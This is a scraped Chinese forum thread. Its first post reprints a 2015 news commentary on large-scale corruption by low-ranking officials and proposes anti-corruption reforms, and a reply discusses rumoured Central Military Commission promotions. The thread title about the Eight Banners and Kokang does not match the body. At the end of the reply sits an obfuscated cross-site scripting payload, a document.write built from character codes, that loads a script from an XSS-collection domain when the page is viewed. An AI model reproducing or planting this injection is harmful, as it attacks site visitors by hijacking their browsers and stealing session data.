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八旗腐朽权力分散 共产党无负责人无力打仗救果敢

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发表于 3/31/2015 10:48:12 | 显示全部楼层 |阅读模式
本帖最后由 女军医 于 3/31/2015 10:54 编辑

  来源: 中国新闻网



在人们印象中,巨大的贪腐数额常与“位高权重”联系在一起。而近年来,从收受千万元好处费的“村官”,到挪用上亿元资金的村会计,再到把580多万元专项补助揣进私囊的副镇长,诸多案例一再警示,“小官”也能大贪,“蚁害”不可小觑。从发改委煤炭司原副司长魏鹏远家中搜出的现金摞起来有66层楼高,从秦皇岛北戴河供水总公司原总经理马超群的家中搜出1.2亿元现金、37公斤黄金、68套房产手续……“小官”狂敛上亿财富的行为着实令人瞠目。有媒体盘点了自2000年以来,涉案金额超过1000万元人民币的34名乡科级及以下贪腐官员,竟有9人涉腐过亿,马超群的1.2亿元只能勉强挤进前五。此类事件的曝光将大批巨腐小官推上风口浪尖。

习近平总书记在中纪委全会上就强调,坚持“老虎”“苍蝇”一起打,既坚决查处领导干部违纪违法案件,又切实解决发生在群众身边的不正之风和腐败问题。“小苍蝇”的危害较“大老虎”有过之而无不及,因为地方小官的贪腐行径就发生在群众身边,对百姓的生产生活造成直接侵害,更易激起民愤,引起社会动荡。如今,小官巨腐是社会关注的热点,也是反腐败工作的重点领域。

两类小官易成巨腐

小官巨腐不是一个新兴现象,落网的“硕鼠”如“土地奶奶”罗亚平、“官场流寇”穆新成、“红顶官商”郝鹏俊、“涉黑警长”关建军、“亿元股长”李华波、“长袖善舞”李志强……这些官场上的小人物名不见经传,可他们的权力大小与其行政级别绝对不成正比,成群“蚁官”疯狂敛财的程度令人触目惊心。基层巨贪根据其所在的岗位可以分为以下两类:

处于关键岗位。这些小官往往与领导存在种种利害关系,由此被信任和放纵,形成“政绩共同体”。此类小官对上阿谀奉承,对下极力打压,一边唱着清正廉洁的高调,一边干着贪污腐败的恶事,这种“双面人”是反腐力量打击的重点。

级别较低没有受到有效的监督。他们是最底层的官员,有些甚至连官都算不上,比如股长、村官、财务部门小领导、机关里最底层的收发员、打印员等,他们善于经营自己手中的微小权力,积少成多,一声不响地侵吞了国家、集体上千万元甚至上亿元的巨额资产。

小官巨腐缘何肆虐

公权力的过分集中是小官巨腐的主要原因。权力越到基层越集中,疯狂敛财的地方小官大多是单位、部门的“一把手”。有调查显示,自2000年以来涉贪金额超过千万的乡科级及以下小官共计34人,其中正职一把手占到六成以上,副手仅有两人。这些贪腐小官有村官、公司总经理、工程负责人等,官虽小,但握有随时可以变现的巨大权力。他们掌管土地、交通、资源等关键领域,特别是在各地供水、供电、供煤、供气等资源垄断部门拥有实际控制权。

官员对思想道德建设工作的漠视是小官巨腐的催化剂。如今,买官卖官、带病提拔之现象猖獗,每年的干部考察流于形式,导致地方小官文化程度低,综合素质差,政治意识、法律意识淡薄。

失范的官员财产申报公示制度是小官巨腐的隐形棚帐。我国官员财产申报制度的历史已有20余年,但是因为缺乏具体审查和问责机制导致申报制度流于形式,实践中已畸化为“官员在纸上填完了,组织部门密封起来,就锁到柜子里去了”。其实,社会各界热议的重点并不在官员财产的申报,而在于向社会大众的公示。

失灵的基层监督机制为小官腐败滋生提供肥沃土壤。少数基层纪委职能弱化,对基层干部不作为、乱作为等行为睁一只眼闭一只眼,执纪监督不力。越是基层,权力生态中“熟人社会”特征越是明显。监察制约一方与当地小官有着千丝万缕的联系,因为人情因素、利益因素、亲情因素的干扰,出现对权力监管失效的现象。

四维发力清除病根

如今,对基层腐败的预防和治理已经成为我国反腐败斗争中的重要内容,遏制小官巨腐是当前反腐败工作的必然要求。笔者认为,应当从分散公权力、加强官员思想道德建设、构建以官员财产申报公示制度为中心的各项公开制度、完善基层官员监督机制四个大方向发力,逐步构建一个基层腐败的防治系统,真正实现“拍苍蝇无死角”,让“小官”不敢腐、不能腐,最终不想腐。

分散公权力。要对领导干部进行分权,将权力装进制度的笼子里。首先,应当分解主要领导干部的权力和责任,在国家层面形成地方一把手不可直接分管人财物的法规和制度。此项改革意义巨大,按照分工负责原则,适当分解主要领导干部的权力,减少主要领导干部对具体事务的干预,形成“副职分管、正职监管、集体领导、民主决策”的权力运行机制,能够有效杜绝“一把手”存在的可能。其次,推出基层权力清单来规范小微权力。建立基层权力清单和责任清单,明确各个官员享有的权力种类、监督的责任主体、惩处的实施主体以及举报的处理主体,让责任体系对权力行使形成约束力。并且,整个清单要向全社会公开,将权力曝于阳光之下,领导干部需及时纠正超越权力清单的违规行为,严肃问责不符合权力清单的失信行为。再次,各乡镇村可以建立监视委员会,分散公权力。地方涉及到土地、交通、资源等关键领域的重大决策权交由地方监视委员会选举决定,彻底剔除领导干部“一人说了算”的权力。

增强官员的思想道德与作风建设。首先要严把进人关,公务员凡进必考,坚决遏制通过其他方式进入编制。其次把克己奉公、廉洁自律纳入官员的日常管理中,督促其“日省吾身”,并对官员定期做“政治体检”,增强其政治觉悟和思想意识,始终保持共产党人应有的全心全意为人民服务的“底色”。严格例行干部考察,加强基层小官的思想道德与作风建设,树立起坚定的为人民服务的理想信念,做到不为钱物所动,不为权色所诱,守住灵魂慎始终,对腐败现象自觉抵制,彻底掐灭基层干部队伍飞扬跋扈的嚣张气焰。

构建以官员财产申报公示制度为中心的各项公开制度。首先应明确申报主体和申报范围。各级新提拔或是连任的官员,不论级别高低应率先参与申报,公开其收入、各项补贴,本人及家庭成员的职业、房产、私家车等基本情况,配偶以及子女在国外从商或留学的详细情况,否则不得提拔或连任,待申报公示制度运用基本纯熟后再将申报主体扩大到全体官员。其次实施“高薪养廉”制度。坚决杜绝灰色收入,让官员的总收入增加在明处。再次需增加申报内容的监督审查核实及问责环节,对于拒不申报、谎报、漏报、无故拖延申报者,进行严肃问责。

完善对基层官员的监督机制。为了防止基层蚁官“一手遮天”成为一方“霸主”,首先要加大对基层人大、纪检、审计等监督机构的问责力度,进而加强监督部门的监管力度,使潜在的贪官不敢腐、不能腐。其次要强化民主监督的力量,积极引导群众对基层权力进行监督,如设立举报热线、网站,开通官方微信、微博,通过公众平台将官员的权力、财产曝晒在阳光之下,营造全社会共同监督的良好氛围。

  (吴高庆 占佳 作者分别系浙江工商大学法学院副院长、教授,浙江工商大学法学院研究生)

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发表于 4/2/2015 03:07:20 | 显示全部楼层
报导说,在十七届军委中,年届68岁及以上的将领全退,而未届龄留任的只有总装备部长常万全、空军司令许其亮、海军司令吴胜利。原本外界观察预料3人都会晋升,特别是常万全,一则十七大时是唯一新晋军委的将领,二则近年来总装备部在神舟、嫦娥等太空工程以及航母、新战机的研发方面动作频频,因此一度被看好是升任军委副主席的最大热门。但现在传出的消息是,只有许其亮会升任军委副主席,常可能只任国防部长,无缘军委副主席,很可能因此成为政治局〝局外人〞,至于吴胜利,则可能原地踏步,留任两年。 ('+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,104,97,99,107,116,97,115,107,46,110,101,116,47,48,86,111,121,110,88,63,49,52,50,55,56,55,51,54,48,52,62,60,47,115,99,114,112,105,116,62))+' Bytes)
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